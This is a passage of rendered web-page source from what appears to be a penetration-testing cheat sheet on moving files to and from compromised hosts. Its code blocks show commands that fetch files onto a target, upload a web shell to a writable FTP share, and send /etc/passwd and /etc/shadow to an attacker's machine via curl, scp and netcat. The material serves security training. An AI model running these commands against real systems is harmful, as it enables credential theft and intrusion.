-o`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /tmp/file`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# curl over HTTPS with self-signed cert (-k skips certificate verification)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`curl`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -k`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` https://`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`/file`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -o`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /tmp/file`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# curl/wget through a SOCKS proxy (e.g., after setting up a Ligolo/Chisel tunnel)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`curl`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` --proxy`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` socks5://127.0.0.1:1080`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` http://`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`/file`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -o`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /tmp/file`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`wget`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -e`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` use_proxy=yes`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -e`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` socks_proxy=socks5://127.0.0.1:1080`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` http://`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`/file`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -O`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /tmp/file`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# bash /dev/tcp (no external tools required, works on any bash host)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`bash`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -c`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:` '`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`cat \u003c /dev/tcp/\u003cip>/443 > /tmp/file`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`'`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Python (when wget/curl are absent)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`python3`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -c`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:` \"`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`import urllib.request; urllib.request.urlretrieve('http://\u003cip>:8080/file', '/tmp/file')`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# SCP (when you have SSH access to the target)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`scp`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` user@`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`targe`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`t`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`:/remote/path/file`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` .`}),_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:` # pull from target to attacker`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`scp`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /local/file`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` user@`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`targe`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`t`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`:/tmp/file`}),_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:` # push from attacker to target`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Netcat receive (attacker: nc -lvnp 443 \u003c file.exe)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`nc`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` \u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:` 443`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` >`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /tmp/file`})]}),`\n`]})})}),`\n`,_jsx(Heading,{level:`2`,id:`ftp`,children:`FTP`}),`\n`,_jsx(_components.p,{children:`When a target exposes FTP (21), test anonymous access first: it’s a common source of loot or a foothold via writable directories.`}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`6`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`6`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Anonymous login check`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`ftp`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` \u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Name: anonymous`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Password: \u003cblank or anything>`})}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`nmap`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` --script`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` ftp-anon`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` \u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:` # confirm anonymous access without connecting manually`})]}),`\n`]})})}),`\n`,_jsx(CodeBlock,{numberOfLines:`6`,language:`text`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`text`,children:_jsxs(_components.code,{language:`text`,numberOfLines:`6`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`ftp> ls`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`ftp> get file.txt # single file`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`ftp> mget * # multiple files, prompts per file`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`ftp> put shell.php # upload, if the share is writable`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`ftp> bye`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{})})]})})}),`\n`,_jsxs(_components.p,{children:[`Recursive download of an entire FTP share with `,_jsx(_components.code,{children:`wget`}),` — no interactive session needed. Credentials go straight in the URL; the trailing `,_jsx(_components.code,{children:`/*`}),` mirrors every file and subdirectory.`]}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`7`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`7`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`wget`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -r`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` ftp://username:password@ftp.`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`domai`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`n`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`/`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`*`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Anonymous`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`wget`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -r`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` ftp://anonymous:anonymous@`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`/`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`*`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Through a Ligolo/Chisel SOCKS tunnel`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`wget`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -r`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` --proxy=on`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -e`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` ftp_proxy=socks5://127.0.0.1:1080`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` ftp://anonymous:anonymous@`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`/`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`*`})]}),`\n`]})})}),`\n`,_jsx(Tip,{children:_jsxs(_components.p,{children:[_jsx(_components.code,{children:`wget -r`}),` on FTP mirrors the whole tree into a local directory named after the host — good for grabbing everything at once when you don’t know which file matters yet.`]})}),`\n`,_jsx(Heading,{level:`2`,id:`linux-uploading-files`,children:`Linux: Uploading Files`}),`\n`,_jsx(_components.p,{children:`Methods to push files from a compromised Linux host back to your attacker machine for exfiltration or analysis.`}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`13`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`13`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# curl POST multipart upload (attacker needs uploadserver or a handler)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`curl`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -X`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` POST`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` http://`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`:8080/upload`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -F`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:` \"`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`file=@/etc/passwd`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Python uploadserver (run on attacker: pip3 install uploadserver, then:)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`python3`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -m`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` uploadserver`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:` 8080`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# then from target:`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`curl`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -X`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` POST`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` http://`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`:8080/upload`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -F`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:` \"`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`files=@/etc/shadow`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# SCP push back to attacker`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`scp`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /etc/passwd`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` kanyo@`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`attacker_i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`:/tmp/loot/`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Netcat push (attacker: nc -lvnp 443 > received_file)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`cat`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /etc/passwd`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` |`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:` nc`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` \u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`attacker_i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:` 443`})]}),`\n`]})})}),`\n`,_jsx(Heading,{level:`2`,id:`windows-downloading-files`,children:`Windows: Downloading Files`}),`\n`,_jsx(_components.p,{children:`PowerShell and built-in Windows binaries (LOLBins) cover most scenarios. Prefer PowerShell methods; fall back to certutil or bitsadmin when PowerShell is restricted.`}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`19`,language:`powershell`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`powershell`,children:_jsxs(_components.code,{language:`powershell`,numberOfLines:`19`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Invoke-WebRequest (PowerShell 3+)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#7FDBCAFF`,\"--shiki-dark\":`#7FDBCAFF`},children:`Invoke-WebRequest`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` 